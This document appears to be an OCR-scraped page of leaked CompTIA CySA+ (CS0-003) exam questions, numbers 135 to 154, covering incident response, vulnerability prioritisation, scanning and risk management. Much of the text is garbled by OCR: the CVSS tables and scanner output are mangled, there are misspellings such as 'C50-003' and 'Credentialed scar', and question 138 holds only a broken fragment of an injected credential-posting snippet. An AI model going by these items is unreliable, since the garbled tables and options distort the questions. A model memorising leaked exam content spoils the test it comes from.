Vulnerability title Atiack - | Attack : Auth_er‘:tlcalmr‘l interaction
vector |compléxity|required .
required
Vulnerability A [Network|Low MNo Yes
Vulnerability B [Local [Low Yes Yes
Vulnerability C  |Netwark|High Yes Yes
Vulnerability O |Local |Low No No
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Actual exam question from CompTIA's CS0-003
Question #: 135

Topic # 1

[All CS0-003 Questions]

An incident response analyst is taking over an investigation from another analyst. The investigation has been going on for the past few days. Which of the following steps is
most important during the transition between the two analysts?

A. Identify and discuss the lessons learned with the prior analyst.
B. Accept all findings and continue to investigate the next item target.
C. Review the steps that the previous analyst followed.

D. Validate the root cause from the prior analyst.
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Actual exam question from CompTIA's C50-003
Question #: 136
Topic #: 1

[All CS0-003 Questions]

A company recently removed administrator rights from all of its end user workstations. An analyst uses CV55v3.1 exploitability metrics to prioritize the
vulnerabilities for the workstations and produces the following information:

Vulnerability CWS5Sv3.1 exploitability
name matrics
AN
ACH
PR:H
UlIR
AN
vote.d AC:H
ad PR:H
JULN
AL
, AC:L
nessie explosion |pp'y
UIR
AV:N
AC:L
FR:N
UM

sweel bike

great skills

Which of the following vulnerabilities should be prioritized for remediation?

A. nessie.explosion
B. vote.dp
C. sweet.bike

D. great.skills
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Actual exam question from CompTIA's C50-003
Question #: 137
Topic #: 1

[All CS0-003 Questions]

A recent penetration test discovered that several employees were enticed to assist attackers by visiting specific websites and running downloaded files when
prompted by phone calls. Which of the following would best address this issue?

A. Increasing training and awareness for all staff
B. Ensuring that malicious websites cannot be visited
C. Blocking all scripts downloaded from the internet

D. Disabling all staff members’ ability to run downloaded applications
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Actual exam question from CompTIA's C50-003
Question #: 138
Topic #: 1

[All CS0-003 Questions]

A security analyst at a company is reviewing an alert from the file integrity monitoring indicating a mismatch in the login. html file hash. After comparing the code
with the previous version of the page source code, the analyst found the following code snippet added:

F.d]ax ||

data:
email: email%40domain.com,

pazsword: password

Which of the following best describes the activity the analyst has observed?

A. Obfuscated links
B. Exfiltration
C. Unauthorized changes

D. Beaconing
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Actual exam question from CompTIA's C50-003
Question #: 139
Topic #: 1

[All CS0-003 Questions]

A security administrator has been notified by the IT operations department that some vulnerability reports contain an incomplete list of findings. Which of the
following methods should be used to resolve this issue?

A. Credentialed scar
B. External scan
C. Differential scan

D. Network scan

Show Suggested Answer




EXAMTOPICS PRO POPULAR EXAMS VIEW ALL EXAMS DOWNLOAD FREE COURSES CONTACT FORUM

Actual exam question from CompTIA's C50-003
Question #: 140
Topic #: 1

[All CS0-003 Questions]

An organization enabled a SIEM rule to send an alert to a security analyst distribution list when ten failed logins occur within one minute. However, the control was
unable to detect an attack with nine failed logins. Which of the following best represents what occurred?

A. False positive
B. True negative
C. False negative

D. True positive
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Actual exam question from CompTIA's CS0-003
Question #: 141

Topic # 1

[All CS0-003 Questions]

A cybersecurity analyst is tasked with scanning a web application to understand where the scan will go and whether there are URIs that should be denied access prior to
more in-depth scanning. Which of following best fits the type of scanning activity requested?

A. Uncredentialed scan
B. Discovery scan
C. Vulnerability scan

D. Credentialed scan
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Actual exam question from CompTIA's C50-003
Question #: 142
Topic #: 1

[All C50-003 Questions]

Which of the following best describes the process of requiring remediation of a known threat within a given time frame?

A. SLA
B. MOU

C. Best-effort patching

D. Organizational governance
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Actual exam question from CompTIA's C50-003
Question #: 143
Topic #: 1

[All C50-003 Questions]

Which of the following risk management principles is accomplished by purchasing cyber insurance?

A. Accept
B. Avoid
C. Mitigate

D. Transfer
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Actual exam question from CompTIA's CS0-003
Question #: 144

Topic # 1

[All CS0-003 Questions]

A recent audit of the vulnerability management program outlined the finding for increased awareness of secure coding practices. Which of the following would be best to
address the finding?

A. Establish quarterly SDLC training on the top vulnerabilities for developers
B. Conduct a yearly inspection of the code repositories and provide the report to management.
C. Hire an external penetration test of the network

D. Deploy more vulnerability scanners for increased coverage
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Actual exam question from CompTIA's C50-003
Question #: 145
Topic #: 1

[All CS0-003 Questions]

An organization has deployed a cloud-based storage system for shared data that is in phase two of the data life cycle. Which of the following controls should the
security team ensure are addressed? (Choose two.)

A. Data classification
B. Data destruction

C. Data loss prevention
D. Encryption

E. Backups

F Access controls
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Actual exam question from CompTIA's CS0-003
Question #: 146

Topic # 1

[All CS0-003 Questions]

An analyst is conducting routine vulnerability assessments on the company infrastructure. When performing these scans, a business-critical server crashes, and the cause
is traced back to the vulnerability scanner. Which of the following is the cause of this issue?

A. The scanner is running without an agent installed.
B. The scanner is running in active mode.
C. The scanner is segmented improperly

D. The scanner is configured with a scanning window
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Actual exam question from CompTIA's CS0-003
Question #: 147

Topic # 1

[All CS0-003 Questions]

An organization's threat intelligence team notes a recent trend in adversary privilege escalation procedures. Multiple threat groups have been observed utilizing native

Windows tools to bypass system controls and execute commands with privileged credentials. Which of the following controls would be most effective to reduce the rate
of success of such attempts?

A Set user account control protection to the most restrictive level on all devices
B. Implement MFA requirements for all internal resources
C. Harden systems by disabling or removing unnecessary services

D. Implement controls to block execution of untrusted applications
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Actual exam question from CompTIA's C50-003
Question #: 148
Topic #: 1

[All CS0-003 Questions]

A new zero-day vulnerability was released. A security analyst is prioritizing which systems should receive deployment of compensating controls deployment first. The
systems have been grouped into the categories shown below:

Group Vulnerability present L’Eﬂ?raotlgg Asset value
Group A Mo No High
Group B Yes Yes Med
Group C Yes Mo Med
Group D Yes Yes High

Which of the following groups should be prioritized for compensating controls?

A. Group A
B. Group B
C. Group C
D. Group D
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Actual exam question from CompTIA's C50-003
Question #: 149
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[All CS0-003 Questions]

A Chief Information Security Officer wants to map all the attack vectors that the company faces each day. Which of the following recommendations should the
company align their security controls around?

A. 0SSTMM

B. Diamond Model of Intrusion Analysis
C. OWASP

D. MITRE ATT&CK
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Actual exam question from CompTIA's C50-003
Question #: 150
Topic #: 1

[All C50-003 Questions]

Which of the following actions would an analyst most likely perform after an incident has been investigated?

A. Risk assessment
B. Root cause analysis

C. Incident response plan

D. Tabletop exercise
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Actual exam question from CompTIA's CS0-003
Question #: 151

Topic # 1

[All CS0-003 Questions]

After completing a review of network activity, the threat hunting team discovers a device on the network that sends an outbound email via a mail client to a non-company
email address daily at 10:00 p.m. Which of the following is potentially occurring?

A Irreqular peer-to-peer communication
B. Rogue device on the network
C. Abnormal OS process behavior

D. Data exfiltration
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[All CS0-003 Questions]

A vulnerability scanner generates the following output:

DOWNLOAD FREE

Vulnerakility

COURSES

CONTACT FORUM

TF address Name cvas Age
5tace

10.12.2.440 88L Certificate Zannot Be Trustced New 6.4 13 days
Redis Ser Unprotected by Pas 4 .

10.16.2.52 P S S S S SRS Active 7.5 43 days
Authentication
Cisco Wekex Meetings Scheduled Meetin i

10.100.2¢.60 " g g Resurfaced ] 701 days
Template Dalstion

10.14.0.15 EMB Signing not required Active 5 25 days

10.12.2.40 88L Self-Signed Certificate Naw 6.4 13 days
Sysintarnals FsExec Elevation of Privilage

72.27.2.1 : 2 faced 4.8 4 d

el > (CVE=-2021-1733) esurface 35 days
o 1 J. JOE / JRE € < Update 30 Multipl

172.27.2.153 e - HEEIRSE aesurfaced 10 4 days

The company has an SLA for patching that requires time frames to be met for high-risk vulnerabilities. Which of the following should the analyst prioritize first for

remediation?

A Oracle JDK
B. Cisco Webhex
C. Redis Server

D. SSL Self-signed Certificate
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Actual exam question from CompTIA's CS0-003
Question #: 153

Topic # 1

[All CS0-003 Questions]

A web application team notifies a SOC analyst that there are thousands of HTTP/404 events on the public-facing web server. Which of the following is the next step for
the analyst to take?

A. Instruct the firewall engineer that a rule needs to be added to block this external server
B. Escalate the event to an incident and notify the SOC manager of the activity
C. Notify the incident response team that there is a DDoS attack occurring

D. Identify the IP/hostname for the requests and look at the related activity
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Actual exam question from CompTIA's CS0-003
Question #: 154

Topic # 1

[All CS0-003 Questions]

Which of the following best describes the reporting metric that should be utilized when measuring the degree to which a system application, or user base is affected by an
uptime availability outage?

A. Timeline
B. Evidence
C. Impact

D. Scope
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